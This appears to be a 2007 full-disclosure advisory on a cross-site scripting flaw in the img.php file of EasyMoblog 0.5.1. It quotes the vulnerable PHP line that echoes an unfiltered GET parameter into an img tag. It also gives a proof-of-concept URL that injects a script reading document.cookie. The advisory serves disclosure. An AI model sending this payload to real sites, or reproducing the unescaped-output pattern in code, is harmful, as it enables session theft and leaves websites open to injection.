[Full-disclosure] Xss Vulnerability in EasyMoblog 0.5.1

Type securityvulns
Reporter Securityvulns
Modified 2007-02-02T00:00:00


·= Security Advisory =·

Issue: Cross Site Scripting (XSS) Vulnerability in "img.php" by Umberto Caldera. Discovered Date: 30/01/2007 Author: Tal Argoni [talargoni at gmail d0t com] Product Vendor: http://sourceforge.net/project/showfiles.php?group_id=88633 Ver: easymoblog-0.5.1


EasyMoblog is prone to a Cross Site Scripting Vulnerability. The vulnerability exists in "img.php" file, caused by the lack of Input Validation/Filtering of quotation and HTML characters in the GET parameter "i".

Contents of "img.php"


<?php $img_name = $_GET['i']; ?>


<body> <img src="img/posts/<?php echo $img_name; ?>" border="0" alt="" /> </body> ...

Exploitation URL: http://www.example.com/easymoblog/img.php?i="><script>alert(document.cookie);</script><img src=

Successful exploitation may allow execution of script code. This could also be exploited to spoof the entire website's content, create fake login menu's for all the platform's users, commit Denial Of Service attacks and more...

Proof Of Concept: http://www.example.com/easymoblog/img.php?i="><script>alert(document.cookie);</script><img src=